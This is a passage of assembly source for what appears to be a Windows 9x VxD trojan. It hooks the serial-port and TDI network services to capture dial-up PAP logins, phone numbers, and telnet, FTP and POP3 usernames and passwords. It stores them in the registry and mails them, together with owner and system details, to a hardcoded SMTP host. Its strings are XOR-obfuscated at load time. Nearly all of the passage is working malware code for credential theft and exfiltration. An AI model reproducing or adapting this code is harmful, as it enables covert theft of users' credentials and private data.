dw 2 ; Address type - TDI_ADDRESS_IP
dw 0 ; sinport
dd 0 ; sin_addr (0.0.0.0)
dd 0 ; sin_zero
dd 0
Context dd 0 ; Context for TdiOpenConnection
RequestAddr dd 0 ; UserDataLength
dd 0 ; UserData
dd 0 ; OptionsLength
dd 0 ; Options
dd 22 ; RemoteAddressLength
dd offset32 RemoteAddress ; *RemoteAddress
RemoteAddress dd 1 ; TAddressCount
dw 14 ; Address length
dw 2 ; Address type - TDI_ADDRESS_IP
db 0 ; sinport (fuckin net order!!!)
db PORT
db IP_1 ; sin_addr (192.168.0.1)
db IP_2
db IP_3
db IP_4
dd 0 ; sin_zero
dd 0
NDISBuffer dd 0 ; Next
pMailBuffer dd 0 ; Data address
dd 0 ; Pool
SendDataLength dd 0 ; Length
dd 'FUBN' ; Signature "NBUF"
VxD_LOCKED_DATA_ENDS
;---------------------------------------------------------------------------;
; Locked Code Segment ;
;---------------------------------------------------------------------------;
VxD_LOCKED_CODE_SEG
;---------------------------------------------------------------------------;
; _VCOMM_OpenComm hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; Disable x ;
; TraceType x x ;
; TracedHandle x x ;
; Index x ;
; pOpenComm_PrevHook x ;
; ;
;---------------------------------------------------------------------------;
BeginProc OpenComm_Hook, HOOK_PROC, pOpenComm_PrevHook, LOCKED
push ebp
mov ebp, esp
; ebp-04h -> saved eax (from pushad)
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> pPortName
; ebp+0Ch -> VMId
pushad
pushfd
cmp Disable, 1 ; Is hook operation disabled?
jz OpenComm_Hook_End
cmp TraceType, 0 ; Is any tracing in progress?
jne OpenComm_Hook_End ; if yes - abort
mov esi, dword ptr [ebp+08h] ; ds:[esi] = pPortName
cmp word ptr [esi], "OC" ; Continue only if port name is "COM"
jne OpenComm_Hook_End
push [ebp+0Ch] ; Push VMId
push [ebp+08h] ; Push pPortName
call [pOpenComm_PrevHook] ; Call the old handler
add esp, 8h
mov [ebp-04h], eax ; blah...
cmp eax, -31 ; If there is error opening the port
jae Dont_Trace_Comm
mov TracedHandle, eax ; Save the comm handle we are tracing
xor eax, eax ; Reset the buffer
mov Index, eax
inc al ; TraceType = 1 (modem trace)
mov TraceType, al
mov BufferSize, 1024
mov LogProc, offset32 ModemLog
Dont_Trace_Comm:
popfd
popad
pop ebp
ret ; Return to caller
OpenComm_Hook_End:
popfd
popad
pop ebp
jmp [pOpenComm_PrevHook] ; Chain to previous hook
EndProc OpenComm_Hook
;---------------------------------------------------------------------------;
; _VCOMM_WriteComm hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; Disable x ;
; TraceType x ;
; ;
; Calls: Send_Common ;
;---------------------------------------------------------------------------;
BeginProc WriteComm_Hook, HOOK_PROC, pWriteComm_PrevHook, LOCKED
push ebp
mov ebp, esp
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> hPort
; ebp+0Ch -> achBuffer
; ebp+10h -> cchRequested
; ebp+14h -> cchWritten
pushfd ; save flags on stack
pushad ; save registers on stack
xor eax, eax
cmp Disable, al ; Is hook operation disabled?
jnz WriteComm_Hook_End
cmp TraceType, 1 ; Is this a modem trace?
jnz WriteComm_Hook_End
;---------------------------------------------------------------------------;
; The following code is disabled due to the strange behavior of Windows. ;
; It opens COMx and sends AT commands using this connection. But when the ;
; modem connects, it opens another connection, which name varies and uses ;
; it to send PPP traffic. That's why after opening the COMx connection, we ;
; will log EVERY byte sent through EVERY connection, until the COMx is ;
; closed or the log limit is exceeded. ;
; ;
; mov eax, TracedHandle ; Are we tracing our connection? ;
; cmp eax, [ebp+08h] ;
; jne WriteComm_Hook_End ;
;---------------------------------------------------------------------------;
mov esi, dword ptr [ebp+0Ch] ; esi = achBuffer (source)
mov eax, [ebp+10h] ; eax = cchRequested
call Send_Common
WriteComm_Hook_End:
popad
popfd
pop ebp
jmp [pWriteComm_PrevHook] ; Chain to previous hook
EndProc WriteComm_Hook
;---------------------------------------------------------------------------;
; _VCOMM_CloseComm hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; Disable x ;
; TraceType x x ;
; TracedHandle x ;
; ;
;---------------------------------------------------------------------------;
BeginProc CloseComm_Hook, HOOK_PROC, pCloseComm_PrevHook, LOCKED
push ebp
mov ebp, esp
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> hPort
pushfd ; save flags on stack
pushad ; save registers on stack
cmp Disable, 1 ; Is hook operation disabled?
jz CloseComm_Hook_End
cmp TraceType, 1 ; Is this a modem trace?
jnz CloseComm_Hook_End
mov eax, TracedHandle ; If hPort = TracedHandle stop tracing
cmp eax, [ebp+08h]
jne CloseComm_Hook_End
mov TraceType, 0 ; Stop tracing
CloseComm_Hook_End:
popad
popfd
pop ebp
jmp [pCloseComm_PrevHook] ; Chain to previous hook
EndProc CloseComm_Hook
;---------------------------------------------------------------------------;
; TdiConnect hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; Disable x ;
; TraceType x x ;
; TracedHandle x ;
; Index x ;
; BufferSize x ;
; IP x ;
; OldCallback x ;
; ;
; Calls: Sendmail, TdiConnect_Callback ;
;---------------------------------------------------------------------------;
BeginProc TdiConnect_Hook
push ebp
mov ebp, esp
; ebp-04h -> saved eax (from pushad)
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Request
; ebp+0Ch -> *TO
; ebp+10h -> *RequestAddr
; ebp+14h -> *ReturnAddr
pushad
pushfd
cmp Disable, 1 ; Is hook operation disabled?
jz TdiConnect_Hook_Jmp
cmp TraceType, 0 ; Is any tracing in progress?
jne TdiConnect_Hook_Jmp ; if yes - abort
mov edi, [ebp+10h] ; edi = *RequestAddr
mov edi, [edi+14h] ; edi = *RemoteAddr
cmp word ptr [edi+06h], 2 ; TDI_ADDRESS_TYPE_IP
jne TdiConnect_Hook_Jmp
xor eax, eax ; Reset the index
mov Index, eax
mov ax, [edi+08h] ; ax = sin_port
cmp ax, 1500h ; ftp?
je Start_Ftp_log
cmp ax, 1700h ; telnet?
je Start_Telnet_log
cmp ax, 6E00h ; pop3?
je Start_Pop3_log
cmp ax, 5000h ; http?
jne TdiConnect_Hook_Jmp
call Sendmail
jmp TdiConnect_Hook_Jmp
Start_Telnet_log:
mov TraceType, 2
mov LogProc, offset32 TelnetLog
mov BufferSize, 500
jmp Start_Log
Start_Ftp_log:
mov TraceType, 3
mov LogProc, offset32 FtpLog
mov BufferSize, 100
jmp Start_Log
Start_Pop3_log:
mov TraceType, 4
mov LogProc, offset32 Pop3Log
mov BufferSize, 100
Start_Log:
mov ebx, [edi+0Ah] ; ebx = in_addr
mov IP, ebx ; Save the IP
mov edi, [ebp+08h] ; edi = *Request
mov eax, [edi] ; Request.ConnectionContext
mov TracedHandle, eax
mov eax, [edi+04h] ; Save old callback
mov OldCallback, eax
mov [edi+04h], offset32 TdiConnect_Callback ; Hook it
push edi
push [ebp+14h]
push [ebp+10h]
push [ebp+0Ch]
push [ebp+08h]
call [TdiConnect_PrevAddr] ; Chain to previous hook
add esp, 10h
mov [ebp-04h], eax ; Save the return value
pop edi ; edi = *Request
mov ebx, OldCallback
mov [edi+04h], ebx ; Restore old callback
cmp eax, 0FFh
je TdiConnect_Hook_End
or eax, eax
je TdiConnect_Hook_End
; There is some error, don't trace
mov TraceType, 0
TdiConnect_Hook_End:
popfd
popad
pop ebp
ret
TdiConnect_Hook_Jmp:
popfd
popad
pop ebp
jmp [TdiConnect_PrevAddr] ; Chain to previous hook
EndProc TdiConnect_Hook
;---------------------------------------------------------------------------;
; TdiConnect_Callback hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; TraceType x x ;
; OldCallback x ;
; ;
;---------------------------------------------------------------------------;
BeginProc TdiConnect_Callback
push ebp
mov ebp, esp
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Context
; ebp+0Ch -> FinalStatus
; ebp+10h -> ByteCount
pushad
pushfd
mov eax, [ebp+0Ch]
or eax, eax
je TdiConnect_Callback_End
mov TraceType, 0
TdiConnect_Callback_End:
popfd
popad
pop ebp
jmp [OldCallback]
EndProc TdiConnect_Callback
;---------------------------------------------------------------------------;
; TdiSend hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; Disable x ;
; TraceType x ;
; TracedHandle x ;
; ;
; Calls: Send_Common ;
;---------------------------------------------------------------------------;
BeginProc TdiSend_Hook
push ebp
mov ebp, esp
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Request
; ebp+0Ch -> Flags
; ebp+10h -> SendLength
; ebp+14h -> *SendBuffer
pushfd
pushad
cmp Disable, 1 ; Is hook operation disabled?
je TdiSend_Hook_End
cmp TraceType, 1 ; Is this a TCP trace?
jbe TdiSend_Hook_End
mov edi, [ebp+08h] ; edi = *Request
mov eax, TracedHandle
cmp eax, [edi] ; Are we tracing THIS ConnectionContext?
jne TdiSend_Hook_End
mov edi, [ebp+14h] ; edi = *SendBuffer
mov esi, [edi+04h] ; esi = source buffer
mov eax, [edi+0Ch] ; eax = Length
call Send_Common
TdiSend_Hook_End:
popad
popfd
pop ebp
jmp [TdiSend_PrevAddr] ; Chain to previous hook
EndProc TdiSend_Hook
;---------------------------------------------------------------------------;
; TdiDisconnect hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; Disable x ;
; TraceType x x ;
; TracedHandle x ;
; ;
;---------------------------------------------------------------------------;
BeginProc TdiDisconnect_Hook
push ebp
mov ebp, esp
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Request
; ebp+0Ch -> *TO
; ebp+10h -> Flags
; ebp+14h -> *DisConnInfo
; ebp+18h -> *ReturnInfo
pushfd ; save flags on stack
pushad ; save registers on stack
cmp Disable, 1 ; Is hook operation disabled?
jz TdiDisconnect_Hook_End
cmp TraceType, 1 ; Is this a TCP trace?
jbe TdiDisconnect_Hook_End
mov eax, TracedHandle ; If the traced handle is being closed
mov edi, [ebp+08h] ; edi = *Request
cmp eax, [edi] ; [edi] = ConnectionContext
jne TdiDisconnect_Hook_End
; We are disconnected before the buffer is full. We will reset the BufferSize
; to the current and process the buffer anyway.
mov eax, Index
mov BufferSize, eax
xor eax, eax
call Send_Common
; Don't need to stop tracing, because Send_Common should do this.
TdiDisconnect_Hook_End:
popad
popfd
pop ebp
jmp [TdiDisconnect_PrevAddr] ; Chain to previous hook
EndProc TdiDisconnect_Hook
;---------------------------------------------------------------------------;
; TdiCloseConnection hook procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; Disable x ;
; TraceType x x ;
; TracedHandle x ;
; ;
;---------------------------------------------------------------------------;
BeginProc TdiCloseConnection_Hook
push ebp
mov ebp, esp
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> *Request
pushfd ; save flags on stack
pushad ; save registers on stack
cmp Disable, 1 ; Is hook operation disabled?
jz TdiCloseConnection_Hook_End
cmp TraceType, 1 ; Is this an IP trace?
jbe TdiCloseConnection_Hook_End
mov eax, TracedHandle ; If the traced handle is being closed
mov edi, [ebp+08h] ; edi = *Request
cmp eax, [edi] ; [edi] = ConnectionContext
jne TdiCloseConnection_Hook_End
; We are disconnected before the buffer is full. We will reset the BufferSize
; to the current and process the buffer anyway.
mov eax, Index
mov BufferSize, eax
xor eax, eax
call Send_Common
; Don't need to stop tracing, because Send_Common should do this.
TdiCloseConnection_Hook_End:
popad
popfd
pop ebp
jmp [TdiCloseConnection_PrevAddr] ; Chain to previous hook
EndProc TdiCloseConnection_Hook
;---------------------------------------------------------------------------;
; Send_Common procedure ;
;---------------------------------------------------------------------------;
; Input: ;
; ;
; eax - length of data ;
; esi - data source ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; BufferSize x ;
; Index x x ;
; pBuffer x ;
; ValueName x ;
; dwTemp_1 x ;
; hOurKey x ;
; TraceType x ;
; ;
; Calls: ModemLog, TelnetLog, FtpLog, Pop3Log ;
;---------------------------------------------------------------------------;
BeginProc Send_Common
mov ecx, BufferSize
mov ebx, Index ; ebx = Index
sub ecx, ebx ; ecx = free space in buffer
mov edi, pBuffer ; edi = pBuffer+Index (destination)
add edi, Index
cmp ecx, eax
jbe Do_Copy_Buffer ; If the space in the buffer is not
; enough, don't overrun it
mov ecx, eax ; Else, copy cchRequested bytes
Do_Copy_Buffer:
add ebx, ecx ; Increment the Index
mov Index, ebx
rep movsb ; Copy it in the buffer
mov ecx, BufferSize
jz Send_Common_Abort ; Stop tracing
cmp ebx, ecx ; If Index < BufferSize end operation
jb Send_Common_End
; The buffer is full, precess the log and probably save it in the registry
mov byte ptr [edi], 0 ; Null-terminate the log
inc edi ; Buffer for the value name
push edi ; We need to save this, because
; we will store two bytes in front
; of the string, returned by LogProc
xor ebx, ebx
mov bl, TraceType
mov esi, TraceLetters
mov al, byte ptr [esi+ebx]
mov byte ptr [edi], al ; Store a trace identifier
inc edi
mov byte ptr [edi], 20h ; Store a space
inc edi
mov ValueName, edi
call LogProc ; Process the log
; At this point ALL registers are fucked up, except eax
pop ValueName
test eax, eax ; Is there an error (eax=1)?
jnz Send_Common_Abort
Get_Reg_Value:
; Try to get the value with the same name
xor ebx, ebx
mov dwTemp_1, ebx
push offset32 dwTemp_1 ; cbData
push ebx ; lpszData
push ebx ; fdwType
push ebx ; dwReserved
push ValueName ; lpszValueName
push hOurKey ; phKey
VMMCall _RegQueryValueEx ; Get the value of the key
add esp, 18h
cmp eax, ERROR_FILE_NOT_FOUND ; If key exists
jne Send_Common_Abort
; Save the result in the registry
push BufferSize ; cbData
push pBuffer ; lpszData
push REG_SZ ; fdwType
push 0 ; dwReserved
push ValueName ; lpszValueName
push hOurKey ; phKey
VMMCall _RegSetValueEx ; Set the value of the key
add esp, 18h
; Store 'P' as the default value - flag that there is something to email
push 1 ; cbData
push offset32 Letter_P ; lpszData
push REG_SZ ; fdwType
push 0 ; lpSubKey
push hOurKey
VMMCall _RegSetValue
add esp, 14h
Send_Common_Abort:
mov TraceType, 0
Send_Common_End:
ret
EndProc Send_Common
;---------------------------------------------------------------------------;
; ModemLog procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; pBuffer x ;
; BufferSize x ;
; ValueName x ;
; ;
; Notes: Fucks off all registers, except EAX ;
; Returns: eax = 0 - ok, 1 = error ;
;---------------------------------------------------------------------------;
BeginProc ModemLog
; Try to find the dialed number and copy it as ValueName
mov edi, pBuffer ; Source
xor ecx, ecx
FindATD_Loop:
cmp word ptr [edi], "TA" ; Search for ATD
jne NotATD
cmp byte ptr [edi+2], "D"
jne NotATD
add edi, 3
jmp ATDFound
NotATD:
inc edi
inc ecx
cmp ecx, BufferSize
jae ModemLog_Abort ; ATD not found in the buffer - abort
jmp FindATD_Loop
ATDFound:
mov edx, edi ; edx = beginning of phone number
mov esi, edi
sub ecx, BufferSize
neg ecx ; ecx = size of the rest of buffer
mov ebx, ecx
mov al, 0Dh ; Search for <CR>
repne scasb
jnz ModemLog_Abort ; <CR> not found after ATD command
sub edi, edx
mov ecx, edi ; ecx = phone number length
sub ebx, ecx ; ebx = size of the rest of buffer
mov esi, edx ; beginning of phone number
mov edi, ValueName
rep movsb ; Store the phone number as value name
mov edx, edi ; edx = end of phone number
cmp byte ptr [esi], '~' ; Is PPP directly started (PAP auth)?
jne Tilda_Loop
; It's PAP
PAP_Loop:
cmp dword ptr [esi], 0123C07Eh ; Is it PAP packet?
je PAP_Found
inc esi
dec ebx
jnz PAP_Loop
jmp ModemLog_Abort ; This shouldn't happen, but anyway...
; (either no auth or CHAP)
PAP_Found:
; The PAP packet has the follwing structure:
;
; | 7E | C0 23 | 01 | xx | xx xx | ULen | U S E R | PLen | P A S S |
; | | | | | | | | | |
; |PPP | PAP |code| id |length |user len|username |pass len|password |
;
add esi, 7 ; Point to the Username length field
xor ecx, ecx
mov cl, byte ptr [esi] ; Username length
inc esi
rep movsb ; Copy username
mov ax, 0A0Dh ; Save a <CR> between username & pass
stosw
mov cl, byte ptr [esi] ; Password length
inc esi
rep movsb ; Copy password
jmp ModemLog_Final
Tilda_Loop:
movsb ; Copy until ~ found (until PPP start)
dec ebx
jz Tilda_Not_Found
cmp byte ptr [esi], '~'
jne Tilda_Loop
ModemLog_Final:
xor eax, eax
stosb ; Null terminate the value name
ret
Tilda_Not_Found:
mov byte ptr [edx], 0 ; Null terminate after the phone num
ret
ModemLog_Abort:
xor eax, eax ; eax = 1 (error)
inc eax
ret
EndProc ModemLog
;---------------------------------------------------------------------------;
; TelnetLog procedure ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; pBuffer x ;
; BufferSize x ;
; ValueName x ;
; ;
; Calls: DWord2Str ;
; Returns: eax = 0 - ok, 1 = error ;
; ;
; Notes: Fucks off all registers, except EAX ;
;---------------------------------------------------------------------------;
BeginProc TelnetLog
; Convert the IP to string and store it as value name
mov ebx, IP
mov edi, ValueName
call DWordToStr ; Save the IP as the value name
mov ax, 0A0Dh ; Save a <CR><LF>
stosw
mov esi, edi ; esi = address to write
mov edi, pBuffer
mov ecx, BufferSize
mov ebx, ecx
repne scasb ; Search for <CR>
jne CR_Sequence_NotFound
repne scasb ; Search for second <CR>
jne CR_Sequence_NotFound
std ; Decrement esi & edi
sub ebx, ecx ; ebx - size to the beginning of buffer
mov ecx, ebx
inc ecx ; See the note bellow
inc ecx
xor al, al
repne scasb
; If NULL is found, edi points to the byte before it and we need to do
; inc edi twice. Else, edi would point to the first char in the buffer
; and we don't need to inc it.
; That's why we have done 'inc ecx' twice a couple of lines before.
; This way, if NULL is not found, edi points to the first-2 char
; and we can (and must) do inc edi two times.
inc edi
inc edi
; Actually it doesn't matter if NULL is found. Just copy the rest.
cld ; Increment esi & edi
sub ebx, ecx ; ebx - size of username/pass string
mov ecx, ebx
xor esi, edi ; Swap esi & edi (Preslav Nakow rulez)
xor edi, esi
xor esi, edi
rep movsb ; Copy the user/pass to value name
xor eax, eax
stosb ; Null terminate the value name
mov edi, pBuffer
mov ecx, BufferSize
Null_Loop:
repnz scasb
jnz End_Null_Loop
mov byte ptr [edi-1], '.'
or ecx, ecx
jz End_Null_Loop
jmp Null_Loop
End_Null_Loop:
ret
CR_Sequence_NotFound:
mov byte ptr [esi], 0 ; Null terminate after the IP
ret
EndProc TelnetLog
;---------------------------------------------------------------------------;
; FtpLog procedure ;
;---------------------------------------------------------------------------;
; Used variables Read Write ;
; ;
; pBuffer x ;
; BufferSize x ;
; ValueName x ;
; ;
; Calls: Pop3Log, DWord2Str ;
; Returns: eax = 0 - ok, 1 = error ;
; ;
; Notes: Fucks off all registers, except EAX ;
;---------------------------------------------------------------------------;
BeginProc FtpLog
call Pop3Log ; Process exactly like pop3
test eax, eax
jnz FtpLog_End
mov edi, ValueName
add edi, 10 ; edi points to the username+1
cmp dword ptr [edi+4], 'suom' ; Is the username 'anonymous'?
jne FtpLog_End
cmp dword ptr [edi], 'ynon'
jne FtpLog_End
FtpLog_Abort:
xor eax, eax ; eax = 1 (error)
inc eax
ret
FtpLog_End:
ret ; eax is set and the value name is
; already null-terminated
EndProc FtpLog
;---------------------------------------------------------------------------;
; Pop3Log procedure ;
;---------------------------------------------------------------------------;
; Used variables Read Write ;
; ;
; pBuffer x ;
; BufferSize x ;
; ValueName x ;
; ;
; Calls: DWord2Str ;
; Returns: eax = 0 - ok, 1 = error ;
; ;
; Notes: Fucks off all registers, except EAX ;
;---------------------------------------------------------------------------;
BeginProc Pop3Log
; Convert the IP to string and store it as value name
mov ebx, IP
mov edi, ValueName
call DWordToStr ; Save the IP as the value name
mov ax, 0A0Dh ; Save a <CR><LF>
stosw
mov esi, pBuffer
mov ecx, BufferSize
mov ebx, ecx
mov eax, 'RESU' ; Search for USER
USER_or_PASS_Loop:
cmp dword ptr [esi], eax ; Search for USER or PASS (in eax)
je USER_or_PASS_Copy_Loop_Start
inc esi
dec ecx
jz Pop3Log_Abort
jmp USER_or_PASS_Loop
USER_or_PASS_Copy_Loop_Start:
add esi, 5 ; Skip 'USER' and 'PASS'
USER_or_PASS_Copy_Loop:
cmp byte ptr [esi], 0Dh ; Is <CR> here?
jne Copy_USER_or_PASS
cmp al, 'P' ; Is this a PASS copy?
je Pop3Log_End ; Work done, finish log processing
mov ax, 0A0Dh ; Save a <CR> between username & pass
stosw
mov eax, 'SSAP'
jmp USER_or_PASS_Loop
Copy_USER_or_PASS:
movsb
dec ecx
jz Pop3Log_Abort
jmp USER_or_PASS_Copy_Loop
Pop3Log_Abort:
xor eax, eax ; eax = 1 (error)
inc eax
ret
Pop3Log_End:
xor eax, eax
stosb ; Null-terminate
ret
EndProc Pop3Log
;---------------------------------------------------------------------------;
; DWordToStr procedure - input ebx, edi ;
;---------------------------------------------------------------------------;
; ;
; Input: ebx - dword ;
; edi - lpstr ;
; ;
; Output: edi - points to the next byte after the written string ;
; ;
; Preserves all registers, except edi ;
;---------------------------------------------------------------------------;
BeginProc DWordToStr
pusha
mov cx, 28
Digit_Loop_Start:
mov eax, ebx
shr eax, cl
and al, 0Fh
add al, 48 ; "0"
cmp al, 57 ; "9"
jbe Digit_ok
add al, 7 ; convert 10 to A, 11 to B, etc
Digit_ok:
stosb
sub cl, 4
jge Digit_Loop_Start
xor al, al
stosb
popa
add edi, 8
ret
EndProc DWordToStr
;---------------------------------------------------------------------------;
; Sendmail procedure ;
;---------------------------------------------------------------------------;
BeginProc Sendmail
; ZMH
mov Disable, 1 ; We are busy
; Check if there is something to mail
xor eax, eax
push offset32 dwTemp_1 ; lpcbValue
push eax ; lpValue
push eax ; lpSubKey
push hOurKey ; hKey
VMMCall _RegQueryValue
add esp, 10h
or eax, eax ; cmp eax, ERROR_SUCCESS
jnz Abort_Mail_Alloc
cmp dwTemp_1, 1 ; There is no value there
jbe Abort_Mail_Alloc
; Allocate mail buffer and create the message
VMMCall _HeapAllocate, <MAIL_BUFFER_LENGTH, 0>
or eax, eax ; zero if error
jz Abort_Mail_Alloc
mov [pMailBuffer], eax ; address of memory block
mov [MailPointer], eax
mov esi, offset32 MailData_1
mov edi, eax
mov ecx, cbMailData_1
add MailPointer, ecx
rep movsb
push offset32 dwTemp_1 ; phKey
push offset32 CurrentVersionSubKey ; SubKey
push HKEY_LOCAL_MACHINE
VMMCall _RegOpenKey ; Open the key
add esp, 0Ch
or eax, eax ; cmp eax, ERROR_SUCCESS
jnz Abort_Mail
mov ebx, offset32 sRegisteredOwner
call QueryRegValue
mov ebx, offset32 sRegisteredOrganization
call QueryRegValue
mov ebx, offset32 sSystemRoot
call QueryRegValue
mov ebx, offset32 sVersionNumber
call QueryRegValue
push dwTemp_1 ; hKey
VMMCall _RegCloseKey ; Close the key
add esp, 04h
; Start enumerating the values
mov dwTemp_1, 0
Enum_Loop:
mov BufferSize, MAX_BUFFER_LENGTH
push offset32 BufferSize ; lpcbData
push pBuffer ; lpbData
push 0 ; lpdwType
push 0 ; lpdwReserved
mov eax, pMailBuffer
add eax, MAIL_BUFFER_LENGTH
mov ebx, MailPointer
sub eax, ebx ; Calculate the free space in buffer
mov dwTemp_2, eax
push offset32 dwTemp_2 ; lpcchValue
push MailPointer ; lpszValue
push dwTemp_1 ; iValue
push hOurKey ; hKey
VMMCall _RegEnumValue ; Get the value of the key
add esp, 20h
inc dwTemp_1 ; dwTemp_1 = iValue + 1
cmp eax, ERROR_NO_MORE_ITEMS
je Enum_End
or eax, eax ; cmp eax, ERROR_SUCCESS
jne Abort_Mail
mov esi, pBuffer
mov edi, MailPointer
add edi, dwTemp_2
mov ecx, BufferSize
rep movsb
mov eax, 0A0D0A0Dh ; Add two line breaks
stosd
mov MailPointer, edi
jmp Enum_Loop
Enum_End:
mov esi, offset32 MailData_2
mov edi, MailPointer
mov ecx, cbMailData_2
mov eax, ecx
add eax, MailPointer
sub eax, pMailBuffer
inc eax
mov SendDataLength, eax
rep movsb
; Open address object
push offset32 TdiAddressOption
push 6 ; Protocol (TCP)
push offset32 TransportAddress
push offset32 Request
mov esi, TdiDispatchTable
call dword ptr [esi] ; TdiOpenAddress
add esp, 10h
cmp eax, 0
jnz Abort_Mail
; Save the address handle for future use
mov eax, dword ptr Request
mov AddressHandle, eax
; Open connection object
push offset32 Context ; Context
push offset32 Request
mov esi, TdiDispatchTable
call dword ptr [esi+8] ; TdiOpenConnection
add esp, 8
cmp eax, 0
jnz Abort_Mail
; Save the connection context for future use
mov eax, dword ptr Request
mov ConnectionContext, eax
; Associate the connection context with the address handle
push AddressHandle
push offset32 Request
mov esi, TdiDispatchTable
call dword ptr [esi+10h] ; TdiAssociateAddress
add esp, 8h
cmp eax, 0
jnz Abort_Mail
; Connect to the mail host
push offset32 RequestAddr
push offset32 RequestAddr
push 0 ; TO
mov RequestContext, offset32 Send_1
push offset32 Request
mov esi, TdiDispatchTable
call dword ptr [esi+18h] ; TdiConnect
add esp, 10h
cmp eax, 0FFh ; If pending -> end proc
ret
Call_TDI_CallBack:
push 0 ; ByteCount
push eax ; FinalStatus
push offset32 RequestContext ; pContext
call TdiMail_Callback
add esp, 0Ch
ret
Abort_Mail:
VMMCall _HeapFree, <pMailBuffer, 0>
Abort_Mail_Alloc:
xor eax, eax
mov Disable, al
mov TracedHandle, eax
ret
EndProc SendMail
;---------------------------------------------------------------------------;
; TdiMail_Callback ;
;---------------------------------------------------------------------------;
BeginProc TdiMail_Callback
push ebp
mov ebp, esp
pushfd ; save flags on stack
pushad ; save registers on stack
; ebp+00h -> saved ebp
; ebp+04h -> return address
; ebp+08h -> pContext
; ebp+0Ch -> FinalStatus
; ebp+10h -> ByteCount
mov eax, [ebp+08h] ; RequestContext
or eax, eax
je TdiMail_Callback_End
mov ebx, [ebp+0Ch] ; If error -> close connection
or ebx, ebx
jne Close_Connection
jmp dword ptr eax ; RequestContext points to code
Send_1:
mov RequestContext, offset32 Disconnect ; Pointer to next code
mov eax, ConnectionContext ; Get the ConnectionContext
mov Request, eax
push offset32 NDISBuffer
push SendDataLength ; Length
push 0 ; No flags
push offset32 Request
mov esi, TdiDispatchTable
call dword ptr [esi+2Ch] ; TdiSend
add esp, 10h
cmp eax, 0FFh ; If pending -> wait
je TdiMail_Callback_End
or eax, eax ; If error -> Close connection
jnz Close_Connection
jmp dword ptr [RequestContext] ; If ok -> jump to next code
Disconnect:
; Delete the default value (send is done)
xor eax, eax
push eax ; cbData
push offset32 Zero ; lpszData
push REG_SZ ; fdwType
push eax ; lpSubKey
push hOurKey
VMMCall _RegSetValue
add esp, 14h
mov eax, ConnectionContext
mov Request, eax
mov RequestContext, offset32 Close_Connection ; Pointer to next code
xor eax, eax
push eax ; ReturnInfo
push eax ; DiscConnInfo
push eax ; Flags
push eax ; TO
push offset32 Request
mov esi, TdiDispatchTable
call dword ptr [esi+1Ch] ; TdiDisconnect
add esp, 14h
cmp eax, 0FFh ; If pending -> wait
je TdiMail_Callback_End
Close_Connection:
VMMCall _HeapFree, <pMailBuffer, 0>
xor ah, ah ; Undisable
mov Disable, ah
mov eax, AddressHandle
mov Request, eax
push offset32 Request
mov esi, TdiDispatchTable
call dword ptr [esi+04h] ; TdiCloseAddress
add esp, 4h
TdiMail_Callback_End:
popad
popfd
pop ebp
ret
EndProc TdiMail_Callback
;---------------------------------------------------------------------------;
; QueryRegValue subroutine. ;
;---------------------------------------------------------------------------;
; ;
; Used variables Read Write ;
; ;
; dwTemp_1 x ;
; pMailBuffer x ;
; MailPointer x x ;
; dwTemp_2 x ;
; ;
; Input: dwTemp_1 - opened key ;
; ebx - lpszSubKey ;
; ;
; Returns: returns to Abort_Mail if there is an error ;
;---------------------------------------------------------------------------;
BeginProc QueryRegValue
mov eax, pMailBuffer ; Calculate the free space in buffer
add eax, MAIL_BUFFER_LENGTH-9
sub eax, MailPointer
mov dwTemp_2, eax
push offset32 dwTemp_2 ; cbData
push MailPointer ; lpszData
push REG_SZ ; fdwType
push 0 ; dwReserved
push ebx ; lpszSubKey
push dwTemp_1 ; phKey
VMMCall _RegQueryValueEx ; Get the value of the key
add esp, 18h
or eax, eax ; cmp eax, ERROR_SUCCESS
jne Abort_Query
mov edi, pMailBuffer
mov ecx, MAIL_BUFFER_LENGTH
mov al, 0
repnz scasb
jnz Abort_Query
dec edi
mov eax, 0A0D0A0Dh ; Add two line breaks
stosd
mov MailPointer, edi
ret
Abort_Query:
pop eax ; Blah... Is approved by M$ as a
push offset32 Abort_Mail ; "good programming technique"? :-)
ret
EndProc QueryRegValue
;---------------------------------------------------------------------------;
; Control Proc ;
;---------------------------------------------------------------------------;
BeginProc Control_Proc
Control_Dispatch Device_Init, Do_Device_Init
clc
ret
EndProc Control_Proc
VxD_LOCKED_CODE_ENDS
;---------------------------------------------------------------------------;
; Initialization Code Segment ;
;---------------------------------------------------------------------------;
VxD_ICODE_SEG
BeginProc Do_Device_Init
pushfd ; save flags on stack
pushad ; save registers on stack
mov edi, ASCIIStart
mov ecx, ASCIILength
Decode_Loop: ; Why 42...? :-)
xor byte ptr [edi], 42
inc edi
loop Decode_Loop
; Allocate memory for the buffer
VMMCall _HeapAllocate, <MAX_BUFFER_LENGTH, 0>
or eax, eax ; zero if error
jz Abort
mov [pBuffer], eax ; address of memory block
; Hook VCOMM services
GetVxDServiceOrdinal eax, _VCOMM_OpenComm
mov esi, offset32 OpenComm_Hook
VMMcall Hook_Device_Service
jc Abort
GetVxDServiceOrdinal eax, _VCOMM_WriteComm
mov esi, offset32 WriteComm_Hook
VMMcall Hook_Device_Service
jc Abort
